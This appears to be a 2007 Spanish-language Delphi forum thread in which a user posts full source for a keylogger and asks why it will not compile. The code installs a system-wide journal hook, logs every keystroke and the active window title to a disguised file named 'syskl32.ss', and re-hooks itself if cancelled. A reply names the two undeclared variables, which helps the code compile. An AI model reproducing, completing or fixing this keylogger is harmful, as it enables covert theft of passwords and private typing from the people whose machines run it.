Club Delphi  
    FTP   CCD     Buscar   Trucos   Trabajo   Foros

Retroceder   Foros Club Delphi > Principal > Varios
Registrarse FAQ Miembros Calendario Guía de estilo Temas de Hoy

Grupo de Teaming del ClubDelphi

Respuesta
 
Herramientas Buscar en Tema Desplegado
  #1  
Antiguo 10-09-2007
b2k b2k is offline
Miembro
 
Registrado: may 2007
Posts: 24
Poder: 0
b2k Va por buen camino
Que significa esta linea?

Hola,

Pues, tengo un codigo que quiero implementar en mi aplicacion, y aqui hay esta linea que no entiendo, de echo delphi me la declara como "Undeclared Indentifier"

Código PHP:
CallNextHookEx(JHHandlenCodewParamInteger(@EventStrut)); 
Gracias
Responder Con Cita
  #2  
Antiguo 10-09-2007
Avatar de Delphius
[Delphius] Delphius is offline
Miembro Premium
 
Registrado: jul 2004
Ubicación: Salta, Argentina
Posts: 5.582
Poder: 25
Delphius Va camino a la fama
Hola b2k,
El error que te arroja se debe a que al menos de unas variables que estás pasando no ha sido declarada con anterioridad.
De hecho, ya estoy viendo al menos una que te da conflicto:
wParam es el tipo de variable que espera... debes suministrarle una variable alli.

No se de que otra manera ayudarte... pones esa simple linea, y posiblemente hay otros tipos de errores, errores por los tipos pasados. A mi no me queda claro que es EventStrut...

Saludos,
__________________
Delphius
[Guia de estilo][Buscar]
Responder Con Cita
  #3  
Antiguo 10-09-2007
b2k b2k is offline
Miembro
 
Registrado: may 2007
Posts: 24
Poder: 0
b2k Va por buen camino
Hola Delphius,

Gracias por responder, aqui te pongo el codigo completo


Código Delphi [-]
program Project2; 

uses 
 windows,messages; 

var 
 szCurApp: string; 
 HookHandle: HHook; 
 lpMsg: TMsg; 

function ExtractFilePath(APath:string):string; 
var 
 LI,LJ:Integer; 
begin 
 if (Length(APath)<>0) and (Pos('\',APath)>0) then 
 begin 
  LJ:=0; 
  for LI:=Length(APath) downto 1 do 
   if APath[LI]='' then 
   begin 
    LJ:=LI; 
    Break; 
   end; 
  Result:=Copy(APath,1,LJ); 
 end else Result:=''; 
end; 

function CurrentDir:String; 
var 
  Buffer:array[0..260] of Char; 
begin 
  GetModuleFileName(0, Buffer, Sizeof(Buffer)); 
  result:=ExtractFilePath(Buffer); 
end; 

function JHProc(nCode:integer; wParam: Longint; var EventStrut: TEVENTMSG): Longint; stdcall; 
var 
 szletta,HBuf,ThePath:string; 
 hFile,BytesWritten:dword; 
 szCurAppNm:array[0..260] of Char; 
 Charry:Array[0..1] of Char; 
 VirtKey,ScanCode:Cardinal; 
 KeyState:TKeyBoardState; 
 nametext:Array[0..32] of Char; 
begin 
 if (nCode = HC_ACTION) and (EventStrut.message = WM_KEYDOWN) 
  then begin 
   VirtKey:=LOBYTE(EventStrut.paramL); 
   ScanCode:=HIBYTE(EventStrut.paramL); 
   ScanCode:=ScanCode shl 16; 
   ThePath:=WinPath+'syskl32.ss';// syskl32.ss is where it stores the logged Keys 

   hFile:=CreateFile(pchar(ThePath), GENERIC_WRITE, FILE_SHARE_WRITE, nil, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); 
   SetFilePointer(hFile, 0, nil, FILE_END); 
   GetWindowText(GetForegroundWindow, szCurAppNm, sizeof(szCurAppNm)); 
   if szCurAppNm <> szCurApp 
    then begin 
     szCurApp:=szCurAppNm; 
     HBuf:=#13#10+#13#10+'[ '+szCurAppNm+' ]'+#13#10; 
     WriteFile(hFile, pchar(HBuf)^, length(HBuf), BytesWritten, nil); 
    end; 
   GetKeyNameText(ScanCode,nametext,sizeof(nametext)); 
   if VirtKey = VK_CAPITAL then szletta:=#0 
   else if VirtKey = VK_SHIFT then szletta:=#0 
   else if VirtKey = VK_SPACE then szletta:=' ' 
   else if lstrlen(nametext) > 1 then szletta:='['+nametext+']' 
   else 
    begin 
     GetKeyboardState(KeyState); 
     ToAscii(VirtKey,ScanCode, KeyState, Charry, 0); 
     szletta:=Charry; 
    end; 
   if szletta <> '' then WriteFile(hFile, pchar(szletta)^, length(szletta), BytesWritten, nil); 
   CloseHandle(hFile); 
  end; 
 CallNextHookEx(JHHandle, nCode, wParam, Integer(@EventStrut)); 
 Result:=0; 
end; 

begin 
 HookHandle:=SetWindowsHookEx(WH_JOURNALRECORD, @JHProc, HInstance, 0); 
 while 1=1 
  do begin 
   WaitMessage; 
   GetMessage(lpMsg,0,0,0); 
   if lpMsg.message = WM_CANCELJOURNAL then HookHandle:=SetWindowsHookEx(WH_JOURNALRECORD, @JHProc, HInstance, 0); 
  end; 
end.

El codigo en realidad es para un keylogger, pero lo trato de analizar...

Gracias

Última edición por b2k fecha: 10-09-2007 a las 07:17:49.
Responder Con Cita
  #4  
Antiguo 10-09-2007
Avatar de Delphius
[Delphius] Delphius is offline
Miembro Premium
 
Registrado: jul 2004
Ubicación: Salta, Argentina
Posts: 5.582
Poder: 25
Delphius Va camino a la fama
b2k entiendo que posiblemente estés un poco apresurado, y confundido... preocupado y hasta estresado por tratar de comprender el código. Pero al parecer no leiste lo que te he dicho:

El error se debe a que no tienes declarado dos variables: ThePath y JHHandle.
La primera debe ser del tipo string y la segunda del tipo HHOOK. Con eso basta para que ande.

No basta con mandarme el código para que lo analice. Lo que importa es que tu sepas analizar el error que te ha dado. Con un F1 teniendo seleccionado la linea de error podrías haberte dado cuenta de que todo se reduce a que no tienes declaradas dichas variables.

Con haberme dicho los tipos ya te hubiera informado si el error se debía a ello. Está bien que me hayas mandado el código para ver cual es el problema, pero primero deberias probar lo que te había comentado.

No lo tomes a mal. Es que preferimos que se tomen el tiempo a comprender el error y leer bien la ayuda antes de venir por aquí.

Por cierto, utiliza las etiquetas DELPHI y no las PHP.

Saludos,
PD: De curioso... ¿para que lo vas a usar?
__________________
Delphius
[Guia de estilo][Buscar]
Responder Con Cita
Respuesta



Normas de Publicación
no Puedes crear nuevos temas
no Puedes responder a temas
no Puedes adjuntar archivos
no Puedes editar tus mensajes

El código vB está habilitado
Las caritas están habilitado
Código [IMG] está habilitado
Código HTML está deshabilitado
Saltar a Foro

Temas Similares
Tema Autor Foro Respuestas Último mensaje
Saber si se está usando la linea telefónica PaFernan99 API de Windows 2 04-09-2006 17:59:20
d-mox (Mi proyecto casi terminado) ya está en línea D-MO PHP 10 08-02-2006 20:54:16
como saber la linea en la que está el cursos en un TMemo aranel OOP 3 17-10-2005 22:33:47
¿Cómo borrar un grid sin tener que ir línea a línea? Isaac Varios 2 18-02-2004 16:13:14
Saber índice de la línea en la que está el cursor en un Memo fortran OOP 2 06-08-2003 17:12:10


La franja horaria es GMT +2. Ahora son las 10:54:25.


Powered by vBulletin® Version 3.6.8
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
Traducción al castellano por el equipo de moderadores del Club Delphi
Copyright 1996-2007 Club Delphi